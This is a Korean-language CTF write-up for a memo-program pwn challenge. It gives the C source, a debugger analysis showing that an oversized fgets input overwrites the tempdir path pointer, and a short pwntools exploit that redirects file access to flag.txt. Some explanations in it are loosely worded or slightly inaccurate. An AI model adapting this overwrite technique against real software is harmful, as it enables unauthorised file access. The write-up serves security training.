#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"
static char *tempdir;
void setup() {
char template[] = TEMPDIR_TEMPLATE;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
if (!(tempdir = mkdtemp(template))) {
perror("mkdtemp");
exit(1);
}
if (chdir(tempdir) != 0) {
perror("chdir");
exit(1);
}
}
void memo_r() {
FILE *fp;
char path[0x20];
char buf[0x1000];
strcpy(path, tempdir);
strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
if (!(fp = fopen(path, "r")))
return;
fgets(buf, sizeof(buf) - 1, fp);
fclose(fp);
printf("Memo: %s", buf);
}
void memo_w() {
FILE *fp;
char path[0x20];
char buf[0x1000];
printf("Memo: ");
if (!fgets(buf, sizeof(buf)-1, stdin))
exit(1);
strcpy(path, tempdir);
strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
if (!(fp = fopen(path, "w")))
return;
fwrite(buf, 1, strlen(buf), fp);
fclose(fp);
}
int main() {
int choice;
setup();
while (1) {
printf("1. Write memo\n"
"2. Read memo\n"
"> ");
if (scanf("%d%*c", &choice) != 1)
break;
switch (choice) {
case 1: memo_w(); break;
case 2: memo_r(); break;
default: return 0;
}
}
}

소스코드를 통해 프로그램의 동작을 확인해보자.
Global Items#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"
static char *tempdir;main()setup()이라는 함수를 호출한다.int choice라는 변수의 값으로 while 문 내에서 switch를 통해 memo_r(), memo_w() 함수를 호출하도록 설계되었다.setup()char template[] = TEMPDIR_TEMPLATE; 를 통해 TEMPDIR_TEMPLATE의 값을 할당하였다.setvbuf() 함수를 통해 버퍼링을 해제하였다.mkdtemp(template) → /tmp 내에 "/tmp/cabbage.XXXXXX" 형식으로 새로운 디렉터리를 생성하여 반환값으로 생성된 이름을 tempdir에 저장하고 있다.chdir(tempdir) → 생성된 디렉터리로 이동한다.memo_r()strcpy(path, tempdir); → tempdir의 값을 32byte의 공간을 가진 path에 복사하였다.strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt"); → path의 포인터를 TEMPDIR_TEMPLATE 만큼 더하여 path 끝으로 포인터를 이동시킨 후, “/memo.txt” 문자열을 복사하였다.fopen(path, “r”) → path에 있는 파일을 열고 반환값인 파일 포인터를 fp에 저장한다.fgets(buf, sizeof(buf) - 1, fp); → fp를 이용하여 sizeof(buf) - 1 만큼 읽어들인 결과를 buf에 저장한다.memo_w()fgets(buf, sizeof(buf) - 1, stdin) → stdin을 통해 sizeof(buf) - 1 만큼의 입력값을 buf에 저장한다.strcpy(path, tempdir); → tempdir의 값을 32byte의 공간을 가진 path에 복사하였다.strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt"); → path의 포인터를 TEMPDIR_TEMPLATE 만큼 더하여 path 끝으로 포인터를 이동시킨 후, “/memo.txt” 문자열을 복사하였다.fopen(path, “r”) → path에 있는 파일을 열고 반환값인 파일 포인터를 fp에 저장한다.fwrite(buf, 1, strlen(buf), fp); → buf의 값을 1byte 단위로 buf의 길이만큼 fp를 이용해 파일에 쓰기 작업을 한다.위 프로그램의 흐름을 살펴보며 취약점이 발생할 수 있는 부분을 예상해보았다.

static char *tempdir이라는 변수가 존재하는데,memo_r, memo_w 함수에서 memo.txt 파일을 읽고 쓸 때 필요한 경로를 담고 있다.static과 전역 변수로 선언되었기 때문에 프로세스가 동작하는 동안 사라지지 않고 아무나 접근이 가능하기에 Static Variable Overflow가 발생할 수 있다.위 취약점이 어떻게 발생하는지 알기 위해 디버거로 확인해보자.
setup 함수에서 mkdtemp 함수를 호출하는 라인에 bp를 설정하여 디렉터리 생성을 확인해보자.
위 함수의 결과는 RAX → ‘/tmp/cabbage.lUB36i’로 저장된 것을 확인할 수 있다.
또한 저장된 결과는 전역변수 mov qword ptr [rip + 0x2cba], rax 명령을 통해 0x7fffffffe160에 저장된다. 이 주소를 기억해두자.
write_w 함수의 buf 주소를 확인한다.
buf의 주소는 0x7fffffffd170이다. buf와 tempdir의 주소 차를 확인해보면 다음과 같다.

주소 차는 0xff0이다. 그러나 fgets 함수에서 받을 수 있는 값의 길이는 0xfff이므로 tempdir을 덮을 수 있다!
위에서 동적 분석을 통해 memo_w 함수의 fgets(buf, sizeof(buf) - 1, stdin) 함수에서 tempdir의 값을 덮을 수 있다는 사실을 알아냈다. 이를 바탕으로 공격 시나리오를 작성한다면 다음과 같다.
main 함수의 choice를 입력 받을 때, ‘1’을 입력하여 memo_w 함수를 실행한다.memo_w 함수의 fgets(buf, sizeof(buf) - 1, stdin) 함수를 통해 0xff0 만큼 값을 채우고, “/flag.txt\0”로 tempdir의 값을 덮어씌운다. fopen(path, "w")을 통해 flag.txt를 읽게 되고 fwrite(buf, 1, strlen(buf), fp)로 buf에 읽어온 값을 쓰게 된다.choice를 입력 받을 떄 ‘2’를 입력하여 memo_r 함수를 실행하고 printf 함수를 통해 읽어들인 flag를 출력한다.from pwn import *
# p = process("./cabbage")
p = remote("127.0.0.1", 9001)
def write(data):
print(p.sendlineafter(b">", b"1"))
print(p.sendlineafter(b":", data))
def read():
print(p.sendlineafter(b">", b"2"))
write(b"\x90" * 0xff0 + b"/flag.txt\x00")
read()
p.interactive()

위와 같이 FLAG가 읽히는 것을 볼 수 있다!